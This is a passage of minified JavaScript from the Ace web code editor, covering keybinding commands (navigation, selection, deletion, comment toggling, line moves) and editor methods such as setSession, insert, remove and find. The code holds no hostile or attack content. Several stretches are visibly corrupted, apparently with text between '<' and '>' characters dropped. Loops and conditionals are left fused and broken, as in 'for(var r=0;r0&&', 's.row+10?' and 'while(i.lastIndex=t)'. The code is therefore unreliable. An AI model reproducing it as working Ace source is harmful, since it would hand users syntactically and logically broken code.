lIntoView:"cursor",readOnly:!0},{name:"selecttolineend",bindKey:r("Alt-Shift-Right","Command-Shift-Right|Shift-End|Ctrl-Shift-E"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolineend",bindKey:r("Alt-Right|End","Command-Right|End|Ctrl-E"),exec:function(e){e.navigateLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectright",bindKey:r("Shift-Right","Shift-Right"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoright",bindKey:r("Right","Right|Ctrl-F"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectpagedown",bindKey:"Shift-PageDown",exec:function(e){e.selectPageDown()},readOnly:!0},{name:"pagedown",bindKey:r(null,"Option-PageDown"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:"gotopagedown",bindKey:r("PageDown","PageDown|Ctrl-V"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:"selectpageup",bindKey:"Shift-PageUp",exec:function(e){e.selectPageUp()},readOnly:!0},{name:"pageup",bindKey:r(null,"Option-PageUp"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:"gotopageup",bindKey:"PageUp",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:"scrollup",bindKey:r("Ctrl-Up",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"scrolldown",bindKey:r("Ctrl-Down",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"selectlinestart",bindKey:"Shift-Home",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectlineend",bindKey:"Shift-End",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"togglerecording",bindKey:r("Ctrl-Alt-E","Command-Option-E"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:"replaymacro",bindKey:r("Ctrl-Shift-E","Command-Shift-E"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:"jumptomatching",bindKey:r("Ctrl-P","Ctrl-P"),exec:function(e){e.jumpToMatching()},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"selecttomatching",bindKey:r("Ctrl-Shift-P","Ctrl-Shift-P"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"expandToMatching",bindKey:r("Ctrl-Shift-M","Ctrl-Shift-M"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"passKeysToBrowser",bindKey:r(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:"copy",exec:function(e){},readOnly:!0},{name:"cut",exec:function(e){var t=e.getSelectionRange();e._emit("cut",t),e.selection.isEmpty()||(e.session.remove(t),e.clearSelection())},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"paste",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:"cursor"},{name:"removeline",bindKey:r("Ctrl-D","Command-D"),exec:function(e){e.removeLines()},scrollIntoView:"cursor",multiSelectAction:"forEachLine"},{name:"duplicateSelection",bindKey:r("Ctrl-Shift-D","Command-Shift-D"),exec:function(e){e.duplicateSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"sortlines",bindKey:r("Ctrl-Alt-S","Command-Alt-S"),exec:function(e){e.sortLines()},scrollIntoView:"selection",multiSelectAction:"forEachLine"},{name:"togglecomment",bindKey:r("Ctrl-/","Command-/"),exec:function(e){e.toggleCommentLines()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"toggleBlockComment",bindKey:r("Ctrl-Shift-/","Command-Shift-/"),exec:function(e){e.toggleBlockComment()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"modifyNumberUp",bindKey:r("Ctrl-Shift-Up","Alt-Shift-Up"),exec:function(e){e.modifyNumber(1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"modifyNumberDown",bindKey:r("Ctrl-Shift-Down","Alt-Shift-Down"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"replace",bindKey:r("Ctrl-H","Command-Option-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e,!0)}))}},{name:"undo",bindKey:r("Ctrl-Z","Command-Z"),exec:function(e){e.undo()}},{name:"redo",bindKey:r("Ctrl-Shift-Z|Ctrl-Y","Command-Shift-Z|Command-Y"),exec:function(e){e.redo()}},{name:"copylinesup",bindKey:r("Alt-Shift-Up","Command-Option-Up"),exec:function(e){e.copyLinesUp()},scrollIntoView:"cursor"},{name:"movelinesup",bindKey:r("Alt-Up","Option-Up"),exec:function(e){e.moveLinesUp()},scrollIntoView:"cursor"},{name:"copylinesdown",bindKey:r("Alt-Shift-Down","Command-Option-Down"),exec:function(e){e.copyLinesDown()},scrollIntoView:"cursor"},{name:"movelinesdown",bindKey:r("Alt-Down","Option-Down"),exec:function(e){e.moveLinesDown()},scrollIntoView:"cursor"},{name:"del",bindKey:r("Delete","Delete|Ctrl-D|Shift-Delete"),exec:function(e){e.remove("right")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"backspace",bindKey:r("Shift-Backspace|Backspace","Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"),exec:function(e){e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"cut_or_delete",bindKey:r("Shift-Delete",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestart",bindKey:r("Alt-Backspace","Command-Backspace"),exec:function(e){e.removeToLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineend",bindKey:r("Alt-Delete","Ctrl-K|Command-Delete"),exec:function(e){e.removeToLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestarthard",bindKey:r("Ctrl-Shift-Backspace",null),exec:function(e){var t=e.selection.getRange();t.start.column=0,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineendhard",bindKey:r("Ctrl-Shift-Delete",null),exec:function(e){var t=e.selection.getRange();t.end.column=Number.MAX_VALUE,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordleft",bindKey:r("Ctrl-Backspace","Alt-Backspace|Ctrl-Alt-Backspace"),exec:function(e){e.removeWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordright",bindKey:r("Ctrl-Delete","Alt-Delete"),exec:function(e){e.removeWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"outdent",bindKey:r("Shift-Tab","Shift-Tab"),exec:function(e){e.blockOutdent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"indent",bindKey:r("Tab","Tab"),exec:function(e){e.indent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"blockoutdent",bindKey:r("Ctrl-[","Ctrl-["),exec:function(e){e.blockOutdent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"blockindent",bindKey:r("Ctrl-]","Ctrl-]"),exec:function(e){e.blockIndent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"insertstring",exec:function(e,t){e.insert(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"inserttext",exec:function(e,t){e.insert(n.stringRepeat(t.text||"",t.times||1))},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"splitline",bindKey:r(null,"Ctrl-O"),exec:function(e){e.splitLine()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"transposeletters",bindKey:r("Alt-Shift-X","Ctrl-T"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:"cursor"},{name:"touppercase",bindKey:r("Ctrl-U","Ctrl-U"),exec:function(e){e.toUpperCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"tolowercase",bindKey:r("Ctrl-Shift-U","Ctrl-Shift-U"),exec:function(e){e.toLowerCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"expandtoline",bindKey:r("Ctrl-Shift-L","Command-Shift-L"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"joinlines",bindKey:r(null,null),exec:function(e){for(var t=e.selection.isBackwards(),i=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),s=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),r=e.session.doc.getLine(i.row).length,a=e.session.doc.getTextRange(e.selection.getRange()),l=a.replace(/\n\s*/," ").length,c=e.session.doc.getLine(i.row),h=i.row+1;h<=s.row+1;h++){var u=n.stringTrimLeft(n.stringTrimRight(e.session.doc.getLine(h)));0!==u.length&&(u=" "+u),c+=u}s.row+10?(e.selection.moveCursorTo(i.row,i.column),e.selection.selectTo(i.row,i.column+l)):(r=e.session.doc.getLine(i.row).length>r?r+1:r,e.selection.moveCursorTo(i.row,r))},multiSelectAction:"forEach",readOnly:!0},{name:"invertSelection",bindKey:r(null,null),exec:function(e){var t=e.session.doc.getLength()-1,i=e.session.doc.getLine(t).length,n=e.selection.rangeList.ranges,s=[];n.length<1&&(n=[e.selection.getRange()]);for(var r=0;r0&&this.$blockScrolling--;var i=t&&t.scrollIntoView;if(i){switch(i){case"center-animate":i="animate";case"center":this.renderer.scrollCursorIntoView(null,.5);break;case"animate":case"cursor":this.renderer.scrollCursorIntoView();break;case"selectionPart":var n=this.selection.getRange(),s=this.renderer.layerConfig;(n.start.row>=s.lastRow||n.end.row<=s.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead);break;default:break}"animate"==i&&this.renderer.animateScrolling(this.curOp.scrollTop)}this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=["backspace","del","insertstring"],this.$historyTracker=function(e){if(this.$mergeUndoDeltas){var t=this.prevOp,i=this.$mergeableCommands,n=t.command&&e.command.name==t.command.name;if("insertstring"==e.command.name){var s=e.args;void 0===this.mergeNextCommand&&(this.mergeNextCommand=!0),n=n&&this.mergeNextCommand&&(!/\s/.test(s)||/\s/.test(t.args)),this.mergeNextCommand=!0}else n=n&&-1!==i.indexOf(e.command.name);"always"!=this.$mergeUndoDeltas&&Date.now()-this.sequenceStartTime>2e3&&(n=!1),n?this.session.mergeUndoDeltas=!0:-1!==i.indexOf(e.command.name)&&(this.sequenceStartTime=Date.now())}},this.setKeyboardHandler=function(e,t){if(e&&"string"===typeof e){this.$keybindingId=e;var i=this;A.loadModule(["keybinding",e],(function(n){i.$keybindingId==e&&i.keyBinding.setKeyboardHandler(n&&n.handler),t&&t()}))}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session!=e){this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.off("change",this.$onDocumentChange),this.session.off("changeMode",this.$onChangeMode),this.session.off("tokenizerUpdate",this.$onTokenizerUpdate),this.session.off("changeTabSize",this.$onChangeTabSize),this.session.off("changeWrapLimit",this.$onChangeWrapLimit),this.session.off("changeWrapMode",this.$onChangeWrapMode),this.session.off("changeFold",this.$onChangeFold),this.session.off("changeFrontMarker",this.$onChangeFrontMarker),this.session.off("changeBackMarker",this.$onChangeBackMarker),this.session.off("changeBreakpoint",this.$onChangeBreakpoint),this.session.off("changeAnnotation",this.$onChangeAnnotation),this.session.off("changeOverwrite",this.$onCursorChange),this.session.off("changeScrollTop",this.$onScrollTopChange),this.session.off("changeScrollLeft",this.$onScrollLeftChange);var i=this.session.getSelection();i.off("changeCursor",this.$onCursorChange),i.off("changeSelection",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.on("change",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.on("changeMode",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.on("tokenizerUpdate",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.on("changeTabSize",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.on("changeWrapLimit",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.on("changeWrapMode",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.on("changeFold",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.on("changeFrontMarker",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.on("changeBackMarker",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.on("changeBreakpoint",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.on("changeAnnotation",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.on("changeOverwrite",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.on("changeScrollTop",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.on("changeScrollLeft",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.on("changeCursor",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.on("changeSelection",this.$onSelectionChange),this.onChangeMode(),this.$blockScrolling+=1,this.onCursorChange(),this.$blockScrolling-=1,this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal("changeSession",{session:e,oldSession:t}),this.curOp=null,t&&t._signal("changeEditor",{oldEditor:this}),e&&e._signal("changeEditor",{editor:this}),e&&e.bgTokenizer&&e.bgTokenizer.scheduleStart()}},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?1==t?this.navigateFileEnd():-1==t&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption("fontSize")||s.computedStyle(this.container,"fontSize")},this.setFontSize=function(e){this.setOption("fontSize",e)},this.$highlightBrackets=function(){if(this.session.$bracketHighlight&&(this.session.removeMarker(this.session.$bracketHighlight),this.session.$bracketHighlight=null),!this.$highlightPending){var e=this;this.$highlightPending=!0,setTimeout((function(){e.$highlightPending=!1;var t=e.session;if(t&&t.bgTokenizer){var i=t.findMatchingBracket(e.getCursorPosition());if(i)var n=new g(i.row,i.column,i.row,i.column+1);else if(t.$mode.getMatching)n=t.$mode.getMatching(e.session);n&&(t.$bracketHighlight=t.addMarker(n,"ace_bracket","text"))}}),50)}},this.$highlightTags=function(){if(!this.$highlightTagPending){var e=this;this.$highlightTagPending=!0,setTimeout((function(){e.$highlightTagPending=!1;var t=e.session;if(t&&t.bgTokenizer){var i=e.getCursorPosition(),n=new v(e.session,i.row,i.column),s=n.getCurrentToken();if(!s||!/\b(?:tag-open|tag-name)/.test(s.type))return t.removeMarker(t.$tagHighlight),void(t.$tagHighlight=null);if(-1==s.type.indexOf("tag-open")||(s=n.stepForward(),s)){var o=s.value,r=0,a=n.stepBackward();if("<"==a.value)do{a=s,s=n.stepForward(),s&&s.value===o&&-1!==s.type.indexOf("tag-name")&&("<"===a.value?r++:"=0);else{do{s=a,a=n.stepBackward(),s&&s.value===o&&-1!==s.type.indexOf("tag-name")&&("<"===a.value?r++:"1||(e=!1)),t.$highlightLineMarker&&!e)t.removeMarker(t.$highlightLineMarker.id),t.$highlightLineMarker=null;else if(!t.$highlightLineMarker&&e){var i=new g(e.row,e.column,e.row,1/0);i.id=t.addMarker(i,"ace_active-line","screenLine"),t.$highlightLineMarker=i}else e&&(t.$highlightLineMarker.start.row=e.row,t.$highlightLineMarker.end.row=e.row,t.$highlightLineMarker.start.column=e.column,t._signal("changeBackMarker"))},this.onSelectionChange=function(e){var t=this.session;if(t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null,this.selection.isEmpty())this.$updateHighlightActiveLine();else{var i=this.selection.getRange(),n=this.getSelectionStyle();t.$selectionMarker=t.addMarker(i,"ace_selection",n)}var s=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(s),this._signal("changeSelection")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(!t.isEmpty()&&!t.isMultiLine()){var i=t.start.column-1,n=t.end.column+1,s=e.getLine(t.start.row),o=s.length,r=s.substring(Math.max(i,0),Math.min(n,o));if(!(i>=0&&/^[\w\d]/.test(r)||n<=o&&/[\w\d]$/.test(r))&&(r=s.substring(t.start.column,t.end.column),/^[\w\d]+$/.test(r))){var a=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:r});return a}}},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit("changeMode",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText();return this._signal("copy",e),e},this.onCopy=function(){this.commands.exec("copy",this)},this.onCut=function(){this.commands.exec("cut",this)},this.onPaste=function(e,t){var i={text:e,event:t};this.commands.exec("paste",this,i)},this.$handlePaste=function(e){"string"==typeof e&&(e={text:e}),this._signal("paste",e);var t=e.text;if(!this.inMultiSelectMode||this.inVirtualSelectionMode)this.insert(t);else{var i=t.split(/\r\n|\r|\n/),n=this.selection.rangeList.ranges;if(i.length>n.length||i.length<2||!i[1])return this.commands.exec("insertstring",this,t);for(var s=n.length;s--;){var o=n[s];o.isEmpty()||this.session.remove(o),this.session.insert(o.start,i[s])}}},this.execCommand=function(e,t){return this.commands.exec(e,this,t)},this.insert=function(e,t){var i=this.session,n=i.getMode(),s=this.getCursorPosition();if(this.getBehavioursEnabled()&&!t){var o=n.transformAction(i.getState(s.row),"insertion",this,i,e);o&&(e!==o.text&&(this.session.mergeUndoDeltas=!1,this.$mergeNextCommand=!1),e=o.text)}if("\t"==e&&(e=this.session.getTabString()),this.selection.isEmpty()){if(this.session.getOverwrite()&&-1==e.indexOf("\n")){r=new g.fromPoints(s,s);r.end.column+=e.length,this.session.remove(r)}}else{var r=this.getSelectionRange();s=this.session.remove(r),this.clearSelection()}if("\n"==e||"\r\n"==e){var a=i.getLine(s.row);if(s.column>a.search(/\S|$/)){var l=a.substr(s.column).search(/\S|$/);i.doc.removeInLine(s.row,s.column,s.column+l)}}this.clearSelection();var c=s.column,h=i.getState(s.row),u=(a=i.getLine(s.row),n.checkOutdent(h,a,e));i.insert(s,e);if(o&&o.selection&&(2==o.selection.length?this.selection.setSelectionRange(new g(s.row,c+o.selection[0],s.row,c+o.selection[1])):this.selection.setSelectionRange(new g(s.row+o.selection[0],o.selection[1],s.row+o.selection[2],o.selection[3]))),i.getDocument().isNewLine(e)){var d=n.getNextLineIndent(h,a.slice(0,s.column),i.getTabString());i.insert({row:s.row+1,column:0},d)}u&&n.autoOutdent(h,i,s.row)},this.onTextInput=function(e){this.keyBinding.onTextInput(e)},this.onCommandKey=function(e,t,i){this.keyBinding.onCommandKey(e,t,i)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption("scrollSpeed",e)},this.getScrollSpeed=function(){return this.getOption("scrollSpeed")},this.setDragDelay=function(e){this.setOption("dragDelay",e)},this.getDragDelay=function(){return this.getOption("dragDelay")},this.setSelectionStyle=function(e){this.setOption("selectionStyle",e)},this.getSelectionStyle=function(){return this.getOption("selectionStyle")},this.setHighlightActiveLine=function(e){this.setOption("highlightActiveLine",e)},this.getHighlightActiveLine=function(){return this.getOption("highlightActiveLine")},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.setHighlightSelectedWord=function(e){this.setOption("highlightSelectedWord",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption("readOnly",e)},this.getReadOnly=function(){return this.getOption("readOnly")},this.setBehavioursEnabled=function(e){this.setOption("behavioursEnabled",e)},this.getBehavioursEnabled=function(){return this.getOption("behavioursEnabled")},this.setWrapBehavioursEnabled=function(e){this.setOption("wrapBehavioursEnabled",e)},this.getWrapBehavioursEnabled=function(){return this.getOption("wrapBehavioursEnabled")},this.setShowFoldWidgets=function(e){this.setOption("showFoldWidgets",e)},this.getShowFoldWidgets=function(){return this.getOption("showFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.remove=function(e){this.selection.isEmpty()&&("left"==e?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var i=this.session,n=i.getState(t.start.row),s=i.getMode().transformAction(n,"deletion",this,i,t);if(0===t.end.column){var o=i.getTextRange(t);if("\n"==o[o.length-1]){var r=i.getLine(t.end.row);/^\s+$/.test(r)&&(t.end.column=r.length)}}s&&(t=s)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert("\n"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(this.selection.isEmpty()){var e=this.getCursorPosition(),t=e.column;if(0!==t){var i,n,s=this.session.getLine(e.row);tt.toLowerCase()?1:0}));var s=new g(0,0,0,0);for(n=e.first;n<=e.last;n++){var o=t.getLine(n);s.start.row=n,s.end.row=n,s.end.column=o.length,t.replace(s,i[n-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),i=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,i,e)},this.getNumberAt=function(e,t){var i=/[\-]?[0-9]+(?:\.[0-9]+)?/g;i.lastIndex=0;var n=this.session.getLine(e);while(i.lastIndex=t){var o={value:s[0],start:s.index,end:s.index+s[0].length};return o}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,i=this.selection.getCursor().column,n=new g(t,i-1,t,i),s=this.session.getTextRange(n);if(!isNaN(parseFloat(s))&&isFinite(s)){var o=this.getNumberAt(t,i);if(o){var r=o.value.indexOf(".")>=0?o.start+o.value.indexOf(".")+1:o.end,a=o.start+o.value.length-r,l=parseFloat(o.value);l*=Math.pow(10,a),r!==o.end&&ig+1)break;g=f.last}h--,a=this.session.$moveLines(d,g,t?0:e),t&&-1==e&&(u=h+1);while(u<=h)r[u].moveBy(a,0),u++;t||(a=0),l+=a}s.fromOrientedRange(s.ranges[0]),s.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(this.getCursorPosition())},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var i=this.renderer,n=this.renderer.layerConfig,s=e*Math.floor(n.height/n.lineHeight);this.$blockScrolling++,!0===t?this.selection.$moveSelection((function(){this.moveCursorBy(s,0)})):!1===t&&(this.selection.moveCursorBy(s,0),this.selection.clearSelection()),this.$blockScrolling--;var o=i.scrollTop;i.scrollBy(0,s*n.lineHeight),null!=t&&i.scrollCursorIntoView(null,.5),i.animateScrolling(o)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,i,n){this.renderer.scrollToLine(e,t,i,n)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.$blockScrolling+=1,this.selection.selectAll(),this.$blockScrolling-=1},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var i=this.getCursorPosition(),n=new v(this.session,i.row,i.column),s=n.getCurrentToken(),o=s||n.stepForward();if(o){var r,a,l=!1,c={},h=i.column-o.start,u={")":"(","(":"(","]":"[","[":"[","{":"{","}":"{"};do{if(o.value.match(/[{}()\[\]]/g)){for(;h=0;--o)this.$tryReplace(i[o],e)&&n++;return this.selection.setSelectionRange(s),this.$blockScrolling-=1,n},this.$tryReplace=function(e,t){var i=this.session.getTextRange(e);return t=this.$search.replace(i,t),null!==t?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,i){t||(t={}),"string"==typeof e||e instanceof RegExp?t.needle=e:"object"==typeof e&&n.mixin(t,e);var s=this.selection.getRange();null==t.needle&&(e=this.session.getTextRange(s)||this.$search.$options.needle,e||(s=this.session.getWordRange(s.start.row,s.start.column),e=this.session.getTextRange(s)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:s});var o=this.$search.find(this.session);return t.preventScroll?o:o?(this.revealRange(o,i),o):(t.backwards?s.start=s.end:s.end=s.start,void this.selection.setRange(s))},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.$blockScrolling+=1,this.session.unfold(e),this.selection.setSelectionRange(e),this.$blockScrolling-=1;var 